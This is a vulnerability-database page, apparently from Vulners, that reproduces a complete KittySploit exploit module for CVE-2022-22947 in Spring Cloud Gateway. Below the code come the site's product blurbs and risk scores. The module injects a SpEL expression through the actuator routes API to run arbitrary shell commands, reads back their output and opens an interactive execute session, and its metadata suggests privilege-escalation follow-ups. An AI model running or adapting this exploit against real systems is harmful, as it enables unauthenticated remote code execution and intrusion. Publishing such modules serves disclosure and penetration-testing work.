Spring Cloud Gateway - Actuator SpEL RCE (CVE-2022-22947)
10
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Spring Cloud Gateway Actuator SpEL RCE (CVE-2022-22947) — opens execute session."""
import json
import re
import secrets
from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler
class Module(Exploit, Http_client, Handler):
__info__ = {
'name': 'Spring Cloud Gateway - Actuator SpEL RCE (CVE-2022-22947)',
'description': (
'Exploits CVE-2022-22947 by injecting SpEL into a Gateway route filter via '
'the actuator API, reading command output from the route JSON. Opens an '
'interactive execute session.'
),
'author': ['KittySploit Team'],
'cve': ['CVE-2022-22947'],
'platform': Platform.MULTI,
'payload': {'default': 'nopayload'},
'references': [
'https://tanzu.vmware.com/security/cve-2022-22947',
'https://nvd.nist.gov/vuln/detail/CVE-2022-22947',
],
'tags': ['spring', 'gateway', 'rce', 'spel', 'actuator', 'unauth', 'kev', 'cve-2022-22947'],
'agent': {
'risk': 'intrusive',
'effects': ['active_exploitation'],
'expected_requests': 4,
'reversible': False,
'approval_required': True,
'produces': ['exploit_paths', 'risk_signals'],
'cost': 1.5,
'noise': 0.6,
'value': 1.0,
'requires': {
'min_endpoints': 0, 'min_params': 0,
'tech_hints_any': [], 'tech_hints_all': [],
'specializations_any': [], 'risk_signals_any': [],
'auth_session': False, 'capabilities_any': [], 'capabilities_all': [],
'confidence_min': {}, 'confidence_min_any': {},
'endpoint_pattern_any': [], 'param_any': [], 'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{'capability': 'rce', 'from_detail': ''},
{'capability': 'shell', 'from_detail': ''},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': [
'post/shell/multi/gather/privesc_suggester',
'scanner/http/cve_2022_22947_detect',
],
},
},
}
base_path = OptString('', 'Optional base path prefix', required=False)
def _p(self, path: str) -> str:
base = str(self.base_path or '').strip()
if not base or base == '/':
return path
if not base.startswith('/'):
base = '/' + base
return base.rstrip('/') + path
def execute(self, cmd: str) -> str:
name = secrets.token_hex(4)
route = self._p(f'/actuator/gateway/routes/{name}')
# Escape for Java string inside SpEL array.
safe = str(cmd).replace('\\', '\\\\').replace('"', '\\"')
spel = (
"#{new String(T(org.springframework.util.StreamUtils)"
".copyToByteArray(T(java.lang.Runtime).getRuntime()"
f'.exec(new String[]{{"/bin/sh","-c","{safe}"}}).getInputStream()))}}'
)
data = {
'id': name,
'filters': [{
'name': 'AddResponseHeader',
'args': {'name': 'Result', 'value': spel},
}],
'uri': 'http://example.com',
'order': 0,
}
self.http_request(
method='POST',
path=route,
data=json.dumps(data),
headers={'Content-Type': 'application/json'},
allow_redirects=False,
)
self.http_request(
method='POST',
path=self._p('/actuator/gateway/refresh'),
data='',
headers={'Content-Type': 'application/x-www-form-urlencoded'},
allow_redirects=False,
)
get = self.http_request(method='GET', path=route, allow_redirects=False)
self.http_request(method='DELETE', path=route, allow_redirects=False)
self.http_request(
method='POST',
path=self._p('/actuator/gateway/refresh'),
data='',
headers={'Content-Type': 'application/x-www-form-urlencoded'},
allow_redirects=False,
)
if not get:
return ''
body = get.text or ''
# Result often appears in filters args value.
m = re.search(r'"Result"\s*,\s*"value"\s*:\s*"((?:\\.|[^"\\])*)"', body)
if m:
return m.group(1).encode('utf-8').decode('unicode_escape', errors='replace')
return body
def check(self):
body = self.execute('id')
if re.search(r'uid=\d+', body or ''):
return {
'vulnerable': True,
'reason': 'CVE-2022-22947 confirmed: id via SpEL route',
'confidence': 'high',
}
return {
'vulnerable': False,
'reason': 'No command output observed',
'confidence': 'medium',
}
def check_execute(self):
token = self.random_text(8)
return token in (self.execute(f'echo {token}') or '')
def run(self):
if not self.check_execute():
self.not_vulnerable()
return False
return self.handler_execute()
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
10 Aug 2026 06:19Current
8.3High risk
Vulners AI Score8.3
CVSS 26.8
CVSS 3.110
EPSS0.98253
SSVC